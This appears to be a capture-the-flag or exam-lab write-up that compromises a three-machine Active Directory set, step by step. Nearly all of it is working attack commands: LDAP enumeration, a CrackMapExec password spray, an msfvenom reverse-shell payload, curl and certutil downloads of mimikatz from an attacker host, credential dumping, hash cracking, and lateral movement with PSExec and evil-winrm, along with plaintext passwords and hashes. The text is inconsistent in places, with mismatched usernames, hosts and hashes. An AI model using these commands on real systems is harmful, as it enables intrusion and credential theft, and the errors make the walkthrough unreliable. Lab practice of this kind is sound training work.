AD Set I

MS01 - 192.168.xxx.102

Initial Access to the machine

Fuzzing the target to enumerate this AD Set by using Wfuzz. After a while, we can see a password stored inside the nmap result.

```
$ nmap -sC -sV -T4 -oA nmap/initial 192.168.xxx.102
```

From nmap result we can see ldap service runnning on port 389. Now we can enumerate ldap users via ldapsearch by using default password we found.

```
DefaultPassword : ESMWaterP1p3S!
```

```
$ ldapsearch -h 192.168.1xx.100 -bx "DC=oscp,DC=exam"
```

This query will give us following users,

```
Administrator
Jasmina.Major
Fania.Willi
guest
Deedee.Lillian
Bobina.Summer
```

Then we can use CrackmapExec for passwordspray against all machines to find smb shares.

```
$ cme smb 192.168.1xx.100 -u users.txt -p 'ESMWaterP1p3S!'

$ cme smb 192.168.1xx.101 -u users.txt -p 'ESMWaterP1p3S!'

$ cme ssh 192.168.1xx.102 -u users.txt -p 'ESMWaterP1p3S!'
```

Now we have a valid credential on all 3 machines, it's **Ketty.Agan:ESMWaterP1p3S!**

And finally we ssh into the system and grap the user flag

```
ssh kitty.agan@192.168.1xx.102
```

```
oscp\ketty.agan@MS02 C:\Users\ketty.agan\Desktop>type local.txt
```

Privilege Escalation – Insecure Service Executables

Use msfvenom to create the stager and send that into target machine. In attacker machine start the listener.

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.xxx.1xx LPORT=445 -
f exe -o revsh.exe
```

In target machine type the command **shutdown /r** to stop the binary.

```
Pipes Printing Service(Pipes Printing Service)["C:\Program Files\Pipes Printing Service\PipesPrinting.exe"] - Autoload - isDotNet
File Permissions: Users [WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\Program Files\Pipes Printing Service (Users [WriteData/CreateFiles])
Custom service for Pipes Printing Services
```

Post Exploitation

Get mimikatz using curl or certutil.

```
PS C:\tmp > curl.exe http://192.168.xxx.xxx/mimikatz.exe -o mimikatz.exe
```

```
PS C:\tmp > Certutil -urlcache -f -split http://192.168.xxx.xxx/mimikatz.exe
mimikatz.exe
```

Then we can use mimikatz to dump the passwords from memory.

```
PS C:\tmp > mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
> dumped_pwds.txt
```

```
[00000003] Primary
* Username : Liv.Ungley
* Domain   : OSCP
* NTLM     : 6bc05d2a5ebf34f5b563ff233199dc5a
* SHA1     : 93eff904639f3b40b0f05f9052c48473ecd2757e
* DPAPI    : 7bfb6b798ba51cf4cc9d76f3c6524861
```

Now using hashcat to crack the NTLM password.

```
$ hashcat hash.txt /opt/wordlists/rockyou.txt
$ hashcat --show
6bc05d2a5ebf34fb563ff233199dc5a:RockYou!
```

MS02

Use Remmina or xfreerdp to login to the system.

```
$ xfreerdp /u:Liv.Ungley /p:RockYou! /v:192.168.1xx.101
```

In **passcore** directory we can find hardcoded passwords.

```
PS C:\passcore
```

```
    "LdapPort": 389, // Default for AD is
    "LdapUsername": "passcore", // Set the
LDAP server
    "LdapPassword": "G3x56wGq9fItu166", //
    "DefaultDomain": "DC=OSCP,DC=EXAM" //
```

use crackmap to access the smb shares.

```
$ cme smb 192.168.1xx.101 -u passcore -p G3x56wGq9fItu166
```

then use PSExec

```
PS C:\tools > PSExec.exe oscp.exam/passcore:G3x56wGq9fItu166@192.168.1xx.101
```

DC01

This machine is pretty easiest one, just use Evil winrm to access the system and grab the proof.txt file.

```
$ evil-winrm -i 192.168.1xx.100 -u passcore -p G3x56wGq9fItu166
```

```
*Evil-WinRM* PS C:\Users\passcore\Documents> cd C:\USers\Administrator\Desktop
*Evil-WinRM* PS C:\USers\Administrator\Desktop> type proof.txt
```